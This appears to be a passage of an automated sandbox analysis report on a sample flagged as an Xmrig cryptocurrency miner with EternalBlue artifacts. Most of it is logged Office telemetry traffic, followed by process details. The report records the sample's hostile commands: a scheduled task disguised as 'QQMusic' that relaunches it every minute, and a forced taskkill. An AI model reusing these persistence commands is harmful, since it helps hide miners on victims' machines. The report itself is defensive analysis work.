2024-10-17 16:18:48 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	51508	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:48 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:49 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:48 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: c52a0825-301e-001f-78d8-1eaa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161848Z-15b8d89586fqj7k5uht6e8nnew00000003rg000000001dft x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:49 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	51538	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:49 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:49 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:49 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 7ef23808-e01e-0051-72d8-1e84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161849Z-16b659b4499mcktpfn1m4deuag000000080g00000000a5v5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:49 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	51522	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:49 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:49 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:49 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: 9dceea2a-001e-002b-0dd8-1e99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161849Z-15b8d89586fzhrwg5nzgg1z60000000003wg0000000041cz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:49 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	51517	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:49 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:49 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:49 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 783e58c1-401e-00ac-30d8-1e0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161849Z-16b659b4499f5gh931bbxe97rs00000008ug00000000eyt9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-17 16:18:49 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	51605	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:49 UTC	192	OUT	GET /rules/rule702251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:50 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:50 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F427E7" x-ms-request-id: dab50239-001e-0066-6cd8-1e561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161850Z-15b8d89586f8nxpt6pvtkfw3pg00000003q000000000c031 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:50 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	51619	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:49 UTC	192	OUT	GET /rules/rule702650v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:50 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:50 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEA1B544" x-ms-request-id: 8414e67f-001e-0014-73d8-1e5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161850Z-16b659b44999c8xwz4dbqvgykc0000000b000000000021qf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:50 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 61 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702650" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedia" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	51616	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:49 UTC	192	OUT	GET /rules/rule702250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:50 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:50 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDD0A87E5" x-ms-request-id: 72513f84-001e-0046-3cd8-1eda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161850Z-15b8d89586fsx9lfqmgrbzpgmg00000003yg0000000057a6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:50 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	51602	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:49 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:50 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:50 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: dd4886db-801e-0035-5ad8-1e752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161850Z-15b8d89586flzzksd4nk2msxr4000000037g000000004chx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:50 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	51617	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:49 UTC	192	OUT	GET /rules/rule702651v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:50 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:50 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEC600CC" x-ms-request-id: 388316fc-801e-008c-1dd8-1e7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161850Z-15b8d89586f6nn8zwfkdy3t04s00000003kg00000000fyp6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:50 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702651" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedi

Target ID:	0
Start time:	12:18:10
Start date:	17/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xf30000
File size:	9'485'672 bytes
MD5 hash:	EFA492099E215A4EA44F157CBC62F081
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000000.00000003.2183184833.0000000001A0E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000000.00000003.2192703718.0000000003F09000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000000.00000003.2189908277.0000000003F09000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000000.00000000.2142355301.000000000128C000.00000008.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000000.00000003.2244497786.0000000003F09000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000000.00000003.2282095723.0000000003F09000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000000.00000003.2202884525.0000000003F09000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000000.00000003.2209234233.0000000003F09000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000000.00000003.2193263566.0000000003F09000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000000.00000003.2195947138.0000000003F09000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_TOOL_EXP_EternalBlue, Description: Detects Windows executables containing EternalBlue explitation artifacts, Source: 00000000.00000000.2142298215.00000000011EA000.00000002.00000001.01000000.00000003.sdmp, Author: ditekSHen Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000000.00000003.2220254125.0000000003F09000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000000.00000003.2201769693.0000000003F09000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000000.00000003.2204686441.0000000003F09000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000000.00000003.2181677252.0000000003F09000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000000.00000003.2223455140.0000000003F09000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	12:18:11
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\user\Desktop\file.exe /F
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:18:11
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:18:11
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c taskkill /f /im Svchocpu.exe&&exit
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
